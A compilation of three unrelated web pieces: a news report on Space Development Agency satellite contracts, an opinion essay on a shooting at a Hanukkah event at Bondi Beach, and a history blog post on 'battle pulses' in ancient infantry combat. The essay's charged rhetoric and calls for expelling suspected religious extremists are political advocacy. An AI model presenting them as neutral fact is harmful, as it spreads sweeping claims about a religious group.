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Space Development Agency awards roughly $3.5 billion to 4 companies for 72 missile tracking and warning satellites

An artist’s rendering of Rocket Lab’s Tracking Layer Tranche 3 (TRKT3) program satellites, which are built on its Lightning satellite platform. Image: Rocket Lab

The U.S. Space Force’s Space Development Agency (SDA) awarded roughly $3.5 billion to four companies to begin building out the third generation of its low Earth orbit constellation.

The SDA issued firm fixed-priced Other Transaction Authority (OTA) agreements with L3Harris Technologies, Lockheed Martin, Northrop Grumman and Rocket Lab to build a total of 72 satellites for the Tacking Layer Tranche 3 (TRKT3) of the Proliferated Warfighter Space Architecture (PWSA) constellation in low Earth orbit.

“The Tracking Layer of Tranche 3, once integrated with the PWSA Transport Layer, will significantly increase the coverage and accuracy needed to close kill chains against advanced adversary threats,” said SDA Acting Director Gurpartap ‘GP’ Sandhoo. “The constellation will include a mix of missile warning and missile tracking, with half the constellation’s payloads supporting advanced missile defense missions to pace evolving threats.”

The satellites, which are slated to begin launching in fiscal year 2029 cover two types of sensing capabilities: missile warning/missile tracking (MW/MT) infrared (IR) sensors and missile warning, tracking, and defense (MWTD) sensors.

Each of the four companies will build 18 satellites. Here’s the breakdown of funds going to each company and which satellites they will build:

  • Lockheed Martin – $1.1 billion for 18 MWTD space vehicles (SVs)
  • L3Harris Technologies – $843 million for 18 MW/MT SVs
  • Rocket Lab – $805 million for 18 MWTD SVs
  • Northrop Grumman – $764 million for 18 MW/MT SVs

“The addition of these satellites will achieve near-continuous global coverage for missile warning and tracking, along with payloads capable of generating fire control quality tracks for missile defense,” Sandhoo said. “This is a prime example of spiral development: the ability to rapidly integrate the next generation of technologies, and to proliferate the most impactful capabilities for increased capacity and lethality.”

In its own announcement to its investors, Rocket Lab said that the initial amount is a base contract, adding that there are up to $10.45 million in options. The company said it would build these satellites on its Lightning satellite bus and feature “Rocket Lab’s next-generation Phoenix infrared sensor payload, a wide field-of-view (WFOV) solution designed to meet the evolving missile defense needs of national security space” as well as its “advanced StarLite space protection sensors, designed to safeguard the constellation against directed energy threats.”

Rocket Lab said some of the other companies on this contract were also incorporating its StarLite sensors.

“The Tranche 3 Tracking Layer constellation is part of the U.S. Space Force’s strategy to counter rapidly evolving global threats, ensuring the nation’s defense capabilities remain ahead of adversaries. Rocket Lab is honored to play a role in enabling this,” said Rocket Lab founder and CEO, Peter Beck. “Demand for resilient, scalable, and affordable space systems continues to grow, and this award demonstrates that Rocket Lab is uniquely positioned to lead the charge in delivering solutions that meet the needs of national security.”

This is the second SDA contract for Rocket Lab, adding to its $515 million award for 18 satellites with the SDA’s Transporter Layer-Beta Tranche 2 program. That will add “secure, low-latency communications across the PWSA.”

L3Harris technology for the SDA Tranche 3 Tracking Layer program will provide infrared sensing, advanced on-orbit data processing and real-time detection of advanced hypersonic and ballistic missile threats. Image: L3Harris Technologies

L3Harris is adding to its previous allotments of four missile tracking satellites that launches as part of the Tranche 0 part of the constellation and 34 satellites that are in development across Tranche 1 and Tranche 2.

The company recently opened a new facility on their Palm Bay, Florida, campus designed for production for their Tranche 1 and Tranche 2 satellites.

“L3Harris is proud to support SDA in its mission to deliver a next generation, layered defense architecture that can track threats in real time,” said Christopher Kubasik, Chair and CEO, L3Harris. “Defeating the hypersonic missile threat begins in space, and our Tranche 3 satellites will advance our proven, on-orbit tracking and targeting capability needed to protect our homeland.”

Northrop Grumman’s TRKT3 will build on the Tracking Layer capabilities of Tranche 1 and Tranche 2 with targeted technology enhancements, expanded coverage and increased integration including precision fire-control sensing. Image: Northrop Grumman

For its part, Northrop Grumman is now responsible for 150 satellites across the first three Tranches for the SDA. The first plane of its Tranche 1 Transport Layer (T1TL) satellites are set to launch “in early 2026.”

“Northrop Grumman’s contributions to both high and low altitude layers of our nation’s missile warning and tracking architecture help protect our nation from a wide range of threats,” said Brandon White, vice president and general manager of space-enabled multi-domain operations division at Northrop Grumman. “With our extensive history of fielding operational Overhead Persistent Infrared (OPIR) satellites, we are poised to rapidly deliver the TRKT3 satellites to the SDA.”

Lockheed Martin is receiving the largest piece of the contract pie for its 18 satellites. The company received a $890 million contract for 18 Tranche 2 Tracking Layer satellites in January 2024.

It launched 21 of its T1TL satellites in October 2025 with 21 more in production.

Lockheed Martin will provide 18 Tranche 3 Tracking Layer space vehicles under a new contract with the Space Development Agency. Image: Lockheed Martin

Lockheed Martin’s 18 TRKT3 satellites will be built on satellite buses from Terran Orbital. They will be built in Terran Orbital’s SmallSat Processing and Delivery Center in Colorado.

In total, Lockheed Martin is currently contracted to build 124 SVs for the SDA.

“Lockheed Martin’s ongoing investments and evolving practices demonstrate our commitment to supporting the SDA’s Proliferated Warfighter Space Architecture,” said Joe Rickers, vice president of Transport, Tracking and Warning at Lockheed Martin. “These innovative approaches position Lockheed Martin to meet the warfighter’s urgent need for a proliferated missile defense constellation.”

All of the satellites in the Tracking Layer will be designed to work seamlessly across all other satellites in the PWSA constellation in low Earth orbit in concert with a common ground system.

“The Tracking Layer will form a global constellation in LEO of IR missile warning and missile tracking satellites that integrate with the Transport Layer’s low-latency mesh communication network to provide mission data directly over tactical data links and enable advanced missile tracking from proliferated LEO,” the SDA said in a statement.

“Resilience is built in through proliferation by fielding refreshed capabilities with targeted technological enhancements approximately every two years with each generation of satellites that launch.”

Jupiter and the Meteors from Gemini

Jupiter and the Meteors from Gemini Jupiter and the Meteors from Gemini


Bondi Beach and the Shattering of Australia’s Egalitarian Promise

You arc a downhill left when you approach Bondi Beach from it’s south side, sloping into a horizon which peels away the rolling waves. Bondi Beach is it’s postcard picturesque. A vision of somewhere far away and hard to get to, but here it’s right around the corner. 

Bondi is centrally located, Australia’s most famous beach and rather than an oasis at the end of a journey it’s an organised hub of meeting. Life grows out of it rather than towards it. It’s a place mythologised by TV, a name known to every Australian. It’s even famous internationally, a gravitational pull to every backpacker, tourist or out-of-towner. It’s both a centrepoint for those that come, as it is a home to hundreds of families who claim generational lineage. 

As much as the Harbour Bridge, Uluru or even the Opera House, Bondi Beach is a symbol of Australia. It’s a placeholder for expectations. An idea for what Australian life is like. That great egalitarian instinct. No matter who you are, what you do, what you believe, how little or how much money you have the sea, sand and sun is equally yours to share. The terrorism denies that symbolism, is an affront to it. Hatred of Jews imported across generations and across borders. Grown elsewhere, ignorant of Australia, but nonetheless here. 

Bondi wakes up early, no matter the time, there’s people there. Dotting the sand, the waves, the promenade, the cafe’s, life is constant here. Irish voices, French accents, Germans, tradies, mums, dads, executives, politicians, everyone getting in a coffee, walk and work out before the day begins. 

Sunday the 14th was the summer’s day Bondi thrives on. It wasn’t oppressively hot and there was barely a lick of wind. The place was packed. Thousands of people scattered along the kilometre of sand, seated on the kilometre of grass and boozing and eating the stacking streets with faces of cafe’s, restaurants, bars and boutiques. 

That bridge, the one from the footage you’ve seen, from where the two gunman took aim, is a constant flow of traffic. It exits you from the north end of Bondi, connects you to the public changing rooms, and opens up to a particularly expansive grassy area. Events are routine and on Sunday it was no different. Hanukkah by the sea. An organised gathering of Jews, and to the shame of Australia, a target. 

A father and son combo who told their family they were going on a fishing trip fled to Bondi with a car full of guns, dressed with an ISIS flag, determined to kill as many people as they possibly could. An investigation into a motivation belies the reason. How powerful the Islamic fundamentalist brain rot is, so corrosive and sufficient the promise that this life is not the one you live for, it’s the next one, what you do here will determine how you’re treated there. A hopelessly broken belief system so ambitious in it’s reach yet evidently persuasive. 

As of writing this, 16 are dead (including one shooter) and more than 40 are injured. The shooting was indiscriminate. What began as a targeted flourish of bullets turned into a free-for-all. It’s too early for a full accounting for the damage but too late for a more unapologetic hard line. 

We’ve been impotently interpreting what religious fundamentalists within our border have been saying for years. Interpreting anything other than what it is. Rationalising it with a ‘that’s not what they mean’. Time after time, words and behaviour that completely deny Australia’s egalitarian instinct. Homes, mosques and gathering places festering idea’s of purpose and the life well lived that couldn’t run further against those of the land they stand on. Where is the Australian backbone to insist a loose conformity that we recognise? You can be both tolerant and reasonable. But I recognise nothing of Australia in fundamentalists, and was not prepared to cede ground to allow a splitting of the difference. Religious freedom isn’t in question here, it’s religious fundamentalism when your worldview clashes so severely with those around you, silo’d into narrower and narrower groups. A closed hole from where you began and where you were before the plunge. Evolving from a decent muslim to the one who runs away with his dad to murder kids.

One of the great benefits to our island nation is how tight a control we can enforce for who comes here and who doesn’t. Should you whiff of anything to do with a tendency towards religious violence, you’re free to find a home elsewhere. There is no place for you in Australia. If you congregate in public and chant ‘death to the jews’, you’ve punched your ticket. See you later. This would be radical policy, but we really are so far away from everything else that we can weather a political storm to much less damage were you to make the same policy elsewhere. 

Jews were targeted for slaughter at a children’s event at a symbolic image of Australia. How powerful the brain rot and how devastating we’ve let it fester.


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Intermission: Battle Pulses

This week we’re going to take a brief break from our series on hoplites (I, II, IIIa, IIIb) to address a broader question in how we understand the mechanics of warfare with contact weapons, which is the mechanics of the concept of a ‘battle pulse.’ This notion, that front lines in contact might occasionally withdraw to catch their breath, replace wounded men at the front or simply to relieve the psychological pressure of the fighting keeps coming up in the comments and is worth addressing on its own. Because while it is an important question for understanding any kind of contact warfare (because ‘pulse’ proponents insist on the pulse as being a general feature of contact warfare, not restricted to any particular culture), it is both very relevant to understanding hoplites, but also emerged as an extension of the argument about othismos that extended into Roman warfare.

There is something of an irony that we are briefly disengaging from our discussion of hoplites to discuss if hoplites briefly disnegaged from battle.

So our question here is, “was the fighting at the point of contact between two formations of heavy infantry a continuous run of fighting or did it proceed in pulses and bursts and if the latter, of what nature might they have been?” I should note that the normal expression here is to describe the sparring at the line of contact as a ‘series of duels’ but anyone who has watched or participated in experiments in contact-line fighting will immediately recognize they are not ever a ‘series of duels’ as any given combatant on the front moving into measure is entering measure of several enemies and so may attack or be attacked by any of them (and indeed, striking the fellow to the left or right of the fellow in front of you, catching them unawares, is often useful). So the line of contact is not a series of 1-on-1s but rather a rolling series of ‘several-on-severals’ with each man having his own set of ‘several,’ depending on the length of the weapons used.

Now before we rush in, I want to make a clarification of two terms I am going to use here that might otherwise be confusing. I am going to make a distinction here between ‘measure‘ and ‘contact.’ This is not some well-established distinction, so I am bending these terms a bit to make clear a different that I think matters. When I say measure here, I mean the reach of the contact weapons the men have, how far they can actually deliver a strike. That’s going to vary a bit based on the weapons they have, but it’s going to be around 1-2 meters.1

When I say contact what I mean is a bit looser: two formations standing a few yards apart might be out of measure, but they are certainly in contact in that neither can maneuver freely and the men in the front of both must be focused on their enemies directly forward because anyone could dash into measure to strike at any time. For these units to move out of contact, I’d argue they need to back up a fair bit more, perhaps out to something like ‘javelin reach’ which with the heaviest of javelins might be around 20-25 meters. As we’re going to see, there’s a big difference between being just outside measure at perhaps 2 or 3 meters away and being at ‘javelin range’ at say, 15 meters away. But to be clear: measure here is the closer proximity, contact is the looser, more distant proximity.

But first, as always, if you like what you are reading, please share it as I rely on word-of-mouth to find readers! And if you really like it, you can support this project over at Patreon; I don’t promise not to use the money to buy a full hoplite panoply, but I also don’t not promise to do that. And if you want updates whenever a new post appears, you can click below for email updates or follow me on Twitter and Bluesky for updates when posts go live and my general musings; I have largely shifted over to Bluesky (I maintain some de minimis presence on Twitter), given that it has become a much better place for historical discussion than Twitter.

Whence the Pulse

We ought to begin with a brief history of the concept of the ‘battle pulse’ in ancient warfare and fortunately this can be quite brief.

As you will recall from our historiography on hoplites and Michael Taylor’s guest post on the book, John Keegan’s The Face of Battle (1976) had quite an impact. It inspired Victor Davis Hanson to essentially replicate the approach in writing Western Way of War, kicking off the modern period of hoplite debates, but it also had imitators in the study of the Roman army, most notably Adrian Goldsworthy. Now I think it is worth noting that is something of an important delay here: when Adrian Goldsworthy goes to write The Roman Army at War, 100 BC – AD 200 (1997), WWoW (1989) has been out for nearly a decade and while the full-throated heterodox vision of Myths and Realities hadn’t arrived yet, it was clearly coming. By this point, in particular, Peter Krentz, writing article after article, had punched some pretty significant holes in elements of orthodoxy, including the shoving-othismos. So when Goldsworthy (and Philip Saban, working at the same time) go to apply a Keegan-style Face of Battle approach to the Romans, they are doing so downstream of the hoplite debate.

And so in a sense you want to understand Goldsworthy and Sabin (and Zhmodikov, to whom we will come shortly) as essentially the extension of hoplite heterodoxy into the Roman sphere; you can see this, I think, quite clearly in their writing (and in turn they are relied upon and cited by more recent hoplite heterodox writers). Except, of course, the scholarship on Roman warfare never had anything remotely as rigid or implausible as the ‘strong’ orthodox hoplite model, so the modifications to our understanding of Roman battle that these fellows offer are more modest.2

The starting point of this burst (dare we say ‘pulse?’) of Roman-legion-heterodoxy is P. Sabin, “The Mechanics of Battle in the Second Punic War” BICS 67 (1996), followed very rapidly be the aforementioned A. Goldsworthy The Roman Army at War, 100 BC – AD 200 (1997) and then clarified and restated with Sabin, “The Face of Roman Battle” JRS 90 (2000). Essentially Sabin raises the question first, noting that our sources often describe Roman battles in the Middle and Late Republic as lasting several hours (typically one to three) and noting that neither the number of casualties described nor the limits of human endurance would be consistent with a continuous exchange of sword blows for three hours. Hence, Sabin figures, the Romans must have moved in and out of contact, which in turn also helps him make sense of how battles in the Second Punic War seemed so often involve a formation getting ‘pushed’ backwards (not literally, of course) significant distances to create pockets or holes without collapsing. I should note that Sabin doesn’t really get into how far out of contact these movements might be.

Goldsworthy then brings to this problem the work of S.L.A. Marshall in Men against Fire (1947).3 Marshall had argued that only a small portion of soldiers in WWII had actually used their weapons, an extension of Ardant du Picq’s should-be-more-famous maxim, “Man does not enter battle to fight, but for victory. He does everything that he can to avoid the first and obtain the second.”4 Goldsworthy sought to apply this insight to Roman combat and argued that likewise in the front line of a Roman legion, many men, indeed “the majority of soldiers” even in the front rank must have done essentially no meaningful fighting, mostly staying safe behind their shields.5 It seems worth noting that this insight is being applied by analogy – no one ever had a chance to study contact warfare in this way – and so while I think there is an insight here going back to Ardant du Picq, it is not clear to me that the straight-forward application of very modern evidence of combat participation with guns can be applied to combat with contact weapons without considerable hazards. Goldsworthy also imagines Roman maniples – the basic maneuver unit of the legion in battle – more as ‘clouds’ of men fighting (a kind of presaging of van Wees’ skirmishing hoplites) rather than a coherent mass with men having a specific, assigned place in the formation. Instead, braver individuals might hype up the whole group to make a big push into contact, bringing the ‘cloud’ of soldiers forward, but men were equally able to hang back in the ‘cloud’ because there isn’t much sense of an assigned place.

But how to keep that up for a few hours?

The solution was the ‘battle pulse.’ Sabin imagines Roman battle as a “natural stand-off punctuated by period and localized charges into contact.”6 In this vision entire Roman maniples might functionally withdraw to javelin range for extended periods to catch their breath, exchange some missiles and recover. This is, in theory, a separate process from the Roman triple acies having the second (principes) and third (triarii) ranks move forward to take over the fight.7

So to be clear, what is being described here when we talk about ‘battle pulses’ is an action on the front line that consists of pulses and lulls, where in the lulls, the two lines withdraw out of measure (well out of measure, by implication) to momentarily rest and reconstitute, before the ‘pulse’ when one side rushes back into contact, precipitating another round of fighting.

This vision of battle then acquired key support with A. Zhmodikov, “Roman Republican Heavy Infantrymen in Battle (IV-II Centuries B.C.)” Historia 49.1 (2000). Prior to Zhmodikov, the general model for Roman infantry combat was ‘volley-and-charge:’ the hastati and principes advanced and hurled their pila at the outset of an engagement before closing in for a decisive action with swords. Zhmodikov instead pulls together all of the evidence for javelin use and argues that pila remained in use over the whole battle. This was in the moment pretty important because it solved a problem that Goldsworthy and Sabin faced which is that our ancient sources on battles almost never describe anything resembling the extended pause between pulses: we get pushes in the sources but not very often do we hear ‘lulls’ described (in stark contrast to their frequency in sources for gunpowder warfare, I might note). When a force is described as moving backward, it is generally because they are routing or being pushed, not because they are mutually disengaging. Zhmodikov’s article thus promised to provide an evidentiary basis that the Goldsworthy-Sabin ‘pulse’ model otherwise lacked, albeit quite indirectly so (‘these guys throw lots of javelins, so there must be pauses’ is not the same as ‘the sources tell us there are pauses.’)

But note that Goldsworthy and Sabin are seeking to explain Roman combat evidence and to do that they have resorted to general arguments about human endurance and psychology because they do not have much direct source evidence for the lulls in their pulse model (by contrast, I’d argue, the pulse itself – the ‘push’ – is attested). Consequently, this is a theory developed to explain Roman warfare, which was because of the lack of direct testimony in the sources is instead posited as a general rule of combat (since the only argument available is one from human endurance and psychological capability), from where it then gets applied to hoplites and dismounted knights and Landsknechte and so on. So we have to discuss it in this Roman context, but with a key warning: Greeks are not Romans and the Roman tactical and broader institutional military systems were not very much like Greek ones. Or, as Ardant du Picq quips:

The Gaul, a fool in war, used barbarian tactics. After the first surprise, he was always beaten by the Greeks and Romans.
The Greek, a warrior, but also a politician, had tactics far superior to those of the Gauls and the Asiatics.
The Roman, a politician above all, with whom war was only a means, wanted perfect means. He had no illusions. He took into account human weakness and he discovered the legion.
But this is merely affirming what should be demonstrated.

(It is not, in fact, clear to me that ‘The Greek’ had superior tactics to ‘the Asiatics’ by which Ardant du Picq means the Persians. The Macedonians certainly did, but that’s a separate question).

What Pulse

So given that scholarship, why aren’t my discussions of hoplite tactics or, indeed, Roman tactics, full of discussions of pulses?

Because I don’t think they were full of pulses, or more correctly, I don’t think they were full of what I am going to call macro-pulses, but they did include lots of what I am going to call micro-pulses, because I think it is important to distinguish between the two.

In a micro-pulse, what we’re really describing is ‘withdrawing to measure’ – the combatants separate not a huge amount, but just a few steps outside of the reach of their weapons (striking distance here is termed ‘measure’ so moving ‘into measure’ means moving into an opponent’s striking range (to strike yourself) and so too ‘out of measure.’) I don’t think two opposing lines locked shields against each other and stayed in measure for minutes or hours on end. That doesn’t seem physically or psychologically possible. It would produce the casualty problem Sabin identifies and psychologically, as Ardant du Picq points to, men are going to want to pull out of reach of their opponents weapons and that psychological force is going to become swiftly overpowering. Anyone who watches combat sports or HEMA sparring, as an aside, can see this tendency for fighters to pull out of measure but remain ‘in contact’ (close enough to move back into measure at any moment) for themselves.

So I have no problem with the ‘micro-pulse,’ and indeed, I think they must have been continually happening down the line, with men or groups of men stepping forward into measure to deliver one or two strikes (and likely take a few in return) before backing out. And of course that pattern might also serve to conserve the men’s stamina, because the periods of really intense physical action – the throwing of blows or blocks – might be interspersed with longer periods of watching and smaller probing strikes. I admit, it would be really interesting to see how long a set of reasonable fit reenactors could keep up this kind of pulsing fight, never withdrawing much more than a few steps beyond measure. The key would be running the experiment as near to exhaustion as possible, because we ought to expect battle to push men to the very limits of endurance as they struggle to survive.8

The broader question then is the macro-pulse, where we imagine the lines truly break contact to the point where they are far enough apart that men cannot dash forward back into measure quickly. Now Goldsworthy-Sabin-Zhmodikov don’t, to my reading, draw a distinction between these two sorts of pulses, so it is hard to tell which they mean, but when they talk about extended javelin exchanges late in battles or lulls long enough to switch out wounded or fatigued men I read that as a macro-pulse (or more correctly a ‘macro-lull‘). To the degree that these authors actually intend what I’ve defined above as a micro-pulse, then I don’t think I have any disagreement with them on this point. But instead what they seem to imagine is a battle that consists primarily of macro-lulls, punctuated by micro-pulses, where formations spend a lot of time at ‘javelin reach’ of each other (so separated by perhaps 10 or 20 yards instead of 10 or 20 feet).

Critically, such a large disengagement requires the whole formation to move. A micro-pulse can work by having the front ranks simply accordion into the back ranks, closing the ‘vertical’ distance between them, but a macro-pulse requires the rear ranks to really back up and critically for men to keep backing up after contact is broken and thus there is no immediate pressure from the enemy (because the macro-pulse also requires the enemy not to advance back to the edge of measure). Indeed, Sabin seems to imagine it is in the context of these macro-pulses that the Roman changing out of battle lines occurs, so we are really backing up quite a bit.

Fundamentally, the macro-pulse exists in tension then (via Zhmodikov) with a volley-and-charge model (which has no trouble incorporating the ‘micro-pulse’ – no one has ever suggested Roman soldiers did anything like a shoving-othismos). The macro-pulse model also generally asserts more flexible physical formation, approaching ‘clouds’ or ‘mobs’ of soldiers, rather than a single formation with assigned places and it isn’t hard to see how that makes sense if this formation is supposed to pulse forward and backwards; by contrast the older vision of volley-and-charge assumes a regular, somewhat rigid formation, not infinitely rigid as we’ll see, but there is at least the notion of a block of men who are intended for the most part to maintain relative position. In essence, this macro-pulse model assumes that these fellows are doing something closer to what we might call ‘dense skirmishing’ in ‘clouds’ rather than formations spending most of their time well out of measure for contact weapons. You can see how this works as a continuation of the hoplite-as-skirmisher ‘strong’ heterodox vision.

To put it bluntly, I think micro-pulses happen and are in evidence in the sources, however I think macro-pulses – situations where the two lines truly disengage for a period without either routing– seem very fairly rare and the source evidence for them as frequent occurrences is actually quite thin.

The Lull In the Pulse

And it seems like from some quarters when I express this view there is a degree of incredulity that I would ‘go against the scholarship’ on an issue that is treated as ‘solved.’ Which is odd to me because it seems clear that significant parts of the Goldsworthy-Sabin-Zhmodikov thesis have been softened or even overturned.

An effort to find Goldsworthy’s pulses-and-lulls in the sources was mounted by Sam Koon, Infantry Combat in Livy’s Battle Narratives (2010).9 Koon set out to find the lulls though it is striking that the clearest example of a lull is also obviously exceptional: the two-part battle at Zama (202), where the ‘lull’ is very openly and visibly created by the recall of the hastati behind the next line and the re-ordering of the formation, rather than by a pulse-and-lull model; we’ll come back to this. And there is certainly some openness to this model. I am stuck, for instance by two chapters in The Oxford Handbook of Warfare in the Classical World (2013), eds. B. Campbell and Lawrence Tritle: Michael Sage’s chapter (“The Rise of Rome”) which accepts the Goldsworthy-Sabin-Zhmodikov model and Brian Campbell’s chapter (“Arming Romans”) which implicitly rejects it, asserting a volley-and-charge purpose for the pilum. But problems with the macro-pulse model emerged.

For one, some of the spacing and interval problems that Sabin brushed off as unsolveable (and thus avoids having to account for even flexible-but-real intervals and formations) have been revisited by MT. Taylor, “Roman Infantry Tactics in the Mid-Republic: A Reassessment” Historia 63 (2014) and to a significant degree resolved: there is a regular formation, it has both close-order and modestly-open-order standard intervals and we can also gauge to a significant degree the intervals between maniples. The units of the army (and the army itself) were accordions, not clouds of soldiers and men could – and in the sources do – close up to receive missiles or space out to fight in close combat (typically, we’ll get to this, they do the one and then the other). Most notably, the intervals between maniples are almost certainly – at points explicitly (Sall. Jug. 49.6) – where the light infantry (like the velites, but also any slingers or archers) are, which in turn exposes a real weakness in Zhmodikov, which is a near-total failure to distinguish between heavy infantry throwing their pila and the light infantry velites throwing their lighter javelins (hasta velitaris). The heavy infantry have just two pila, but the velites carry many javelins, which as you might imagine has implications for extended missile exchanges and intended function.

But crucially, Taylor’s approach fatally undermines the notion of the maniple as a ‘cloud’ of soldiers: these men have assigned spaces and semi-standard spacing with clear intervals between them. Polybius – who we must stress describes standard spacing in this army which he was an eyewitness to (18.30.6-8) – is not making it up. Instead, Taylor’s formation is not a cloud but an ‘accordion’ – the men have assigned spaces in which they are free to move around. Each man thus has some flexibility of position, but not infinitely so. That accordion nature can accommodate ‘micro-pulses’ but for a macro-pulse you have the problem above: it requires the rear ranks to back up quite a bit.

That point about distinguishing who is throwing the javelins in turn becomes the cornerstone of J.F. Slavik, “Pilum and Telum: The Roman Infantryman’s Style of Combat in the Middle Republic” CJ 113 (2018) which argues that the velites use showers of their light javelins -to enable the changing out of hastati to principes or triarii. Zhmodikov fails to distinguish the activity of the velites and so as a result his battles of “long exchange of throwing weapons”10 functionally collapses into the action not of Roman heavy infantry, but of Rome’s dedicated light infantry skirmishers, operating in those intervals noted above. I don’t know that Slavik’s philological argument – that we can distinguish what is being thrown and thus who is throwing it by the words used – is airtight, but in the cases where we are told explicitly what kind of soldiers are doing what, his argument holds much better: heavy infantry seem to volley-and-charge, while the velites and other lights may be skirmishing on a more extended basis in the intervals and covering the line-changes.

That said, whereas the heterodox/orthodox line on hoplites has tended to be a hard division into two camps, thinking on the Roman army, has tended much more towards synthesis, in part because the individual questions (role of the pilum, the extent of skirmishing, the presence of ‘pulses,’ the rigidity of the formation) are not treated as forming a coherent orthodox/heterodox, but rather ‘sliding’ values capable of moving independently. You can see this in general treatments, e.g. K.H. Milne, Inside the Roman Legions (2024), which clearly asserts a volley-and-charge model of pilum usage (163) and a clear sense of a “static front line” implying a regular formation (159, 162) with assigned places (166) but frequent micro-pulses (164, 167), but no macro-pulses except for the changing out of lines (167), with most fighting done with swords, not pila and supporting missiles to cover these movements by velites, not heavy infantry (168). It’s a blended position. At some point it is hard to say if that is either a very softened version of volley-and-charge or a softened version of Goldsworthy-Sabin-Zhmodikov, because we’ve more or less met in the middle.

So What of Battle Pulses?

So I do not think the scholarship at present requires me to adopt the complete Goldsworthy-Sabin-Zhmodikov model. And, as it is clear, I don’t entirely adopt that model, though I don’t think everything about it is wrong either.

In particular, I do not think macro-pulses, as I’ve defined them, were common, as distinct from the ‘micro-pulse,’ which I think must have been continuously happening, where the lines remain loosely ‘in contact’ (within maybe a few yards of measure) or the ‘line change’ (from hastati to principes to triarii), probably covered not by pila but by velites throwing their hastae velitares.

Now I am not going to reproduce Koon’s book going in the other direction in a blog post – and in any case, one of the authors above is already working on a monograph on Roman tactics which I shall not spoil here – but I want to give a few data-points as to why I lean this way.

The first is the soldier’s oath Livy reports before Cannae (Livy 22.38.4), “that they would not go away nor drop back from their posts [ex ordine] neither for flight or fear, unless to pick up or fetch a weapon, or to strike an enemy or to save a citizen.”11 The word ordo in that sentence (ex ordine) means a row, a line, a series, a rank, an arrangement of things, but it is not a unit and it is certainly not a ‘cloud.’ It is an assigned place that the soldier is bound to. The oath, which Livy represents as customary and regular, makes no sense unless these soldiers have an assigned place in their unit to which they can swear not to leave nor even to shrink back from (non…recessuros, “not to withdraw from, shrink back from, fall back from, give ground”).

Meanwhile, we have a lot of evidence, I’d argue, as to the volley-and-charge nature of pilum use. We get lines like, “When he [the Roman commander] was leading the men-formed-up from the camp, scarcely before they cleared the rampart, the Romans threw their pila. The Spaniards ducked down against the javelins thrown by the enemies, then rose themselves to throw [their own] which when the Romans, clustered together as they are accustomed, had received with shields densely packed, then, with foot against foot and swords drawn, the matter was begun” (Livy 28.2.5-6), which is just a very clear statement of a volley-and-charge action, the throwing of pila by the Romans in the perfect (coniecerunt, ‘perfect’ meaning ‘completed’) tense: it happened (once) and then stopped.12 Further examples of volley-and-charge in Livy are not hard to come by.13 Heck, Tacitus has a Roman general lay out the sequence in an order to his men: “with pila having been thrown then with shields and swords continue the butchery and slaughter” (Tac. Ann. 14.37).14

Most striking are the incidents where the Romans don’t throw their pila at all. Livy, for instance, has one general, the dictator Aullus Cornelius Cossus, tell his men to drop their pila and then note that the enemy (the Volsci who will have fought in the same manner as the Romans), “when they shall have thrown their missiles in vain” will have to come to close quarters where he expects the Roman line will triumph (Livy 6.12.8-9). Conversely, Q. Pubilius Philo’s troops are so eager on the attack that they drop their pila to engage directly with swords (Livy 9.13.2, cf. also 7.16.5-6, this happens more than once). Likewise, Julius Caesar reports in one battle that, “Thus our men, the signal having been given sharply made an attack on the enemies and they charged the enemies so suddenly and rapidly that a space for throwing pila at the enemy was not given. So throwing away their pila, at close-quarters they fought with gladii” (Caes. BGall. 1.52.3-4). It happens in Sallust too (Sall. Cat. 61.2).

If these guys think they are regularly going to back off out of close-combat to throw javelins for a bit, why do they drop their javelins (pila) the moment they come to close quarters? Surely, if having a ‘macro-lull’ was normal, they would want to save these weapons – at least in the back ranks – to be available in that event. Instead, the expectation is clearly not that the unit will back off after it has engaged nor that men in the rear ranks are throwing pila over the heads of the men in front of them (the danger of which is noted in some ancient sources, e.g. Onasander 17).

Now for the man in the front the answer is pretty obvious that pila are quite heavy and you can’t sword-fight while carrying them and a shield and so they have to go if youa re coming to close contact. But note that these lines don’t say “and then the front rank dropped their pila” but rather clearly whole units do. Which really only makes sense if these fellows imagine that once they are going into contact, they are not going to break contact for more missile-throwing or just to sit outside of contact.

We might also consider what we know about Pydna. Now this relies a fair bit on Plutarch and Plutarch is often not the best source on battles, but on Pydna he is working from some known sources (Scipio Nasica Corculum’s writings and likely the account of Polybius) and his vignettes are instructive. By the time the general, Lucius Aemilius Paullus is on the field – this was, you will recall, an unplanned engagement – the armies are already to close combat (Plut. Aem. 18.4) and we’re given a really physical description that the sarisae of the Macedonians were fixed in the shields of the Romans (19.1) so we know he intends us to understand these units are very much in contact (though we’d say that while the Macedonians are in measure, the Romans are not). Certainly no one has backed out of contact.

Then we get two interesting passages which I think we might say are something like micro-pulses: a Paelignian chucks his unit’s standard into the enemy to compel them to make a push (20.1-5) and after taking heavy losses, they’re pushed back but evidently still to some degree in contact (perhaps pursued) because – as Michael Taylor notes in his reconstruction of the battle – they continue to hold up the Macedonian agema which would otherwise flank the legion. Meanwhile we also get Marcus Cato (son of Cato the Elder), who loses his sword and has to gather up his friends to push forward to retrieve it (21.1-5). In both cases these are units that we have to understand are in contact, not back at javelin reach, where an individual is rallying men to push forward in an effort to force the enemy back: Marcus Cato’s effort succeeds, whereas the Paelignians are thrown back (but buy essential time for the main Roman force). Both of these events have to involve units that are outside of measure, but which do not seem – note the above line about pikes touching Roman shields – to be fully out of contact.

The battle is won, as Livy (44.41.6-9) and Plutarch (20.7-10) both note, by having the Roman maniples engage separately, exploiting disruptions in the phalanx as it advanced. What I find striking here is that our sources – both relying on the (lost) Polybian account of the battle – evidently think that this ‘engage at discretion’ order needed to be given as an order (Plut. Aem. 20.7-9); dropping well back out of contact was evidently not a thing units normally were not supposed to do on their own. If engaging at discretion like this was the standard way of fighting, there would be no point in Plutarch having Aemilius order it, or Livy noting the unusual nature of many separate engagements.

